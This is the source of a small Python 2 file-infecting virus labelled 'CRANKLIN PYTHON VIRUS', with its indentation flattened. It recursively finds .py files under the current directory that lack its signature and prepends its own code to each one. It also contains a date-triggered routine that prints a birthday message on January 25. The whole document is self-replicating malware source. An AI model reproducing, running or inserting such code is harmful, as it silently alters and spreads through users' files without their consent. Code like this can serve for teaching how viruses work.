#!/usr/bin/python

import os

import datetime

SIGNATURE = "CRANKLIN PYTHON VIRUS"

def search(path):

filestoinfect = []

filelist = os.listdir(path)

for fname in filelist:

if os.path.isdir(path+"/"+fname):

filestoinfect.extend(search(path+"/"+fname))

elif fname[-3:] == ".py":

infected = False

for line in open(path+"/"+fname):

if SIGNATURE in line:

infected = True

break

if infected == False:

filestoinfect.append(path+"/"+fname)

return filestoinfect

def infect(filestoinfect):

virus = open(os.path.abspath(__file__))

virusstring = ""

for i,line in enumerate(virus):

if i>=0 and i <39:

virusstring += line

virus.close

for fname in filestoinfect:

f = open(fname)

temp = f.read()

f.close()

f = open(fname,"w")

f.write(virusstring + temp)

f.close()

def bomb():

if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25:

print "HAPPY BIRTHDAY CRANKLIN!"

filestoinfect = search(os.path.abspath(""))

infect(filestoinfect)

bomb()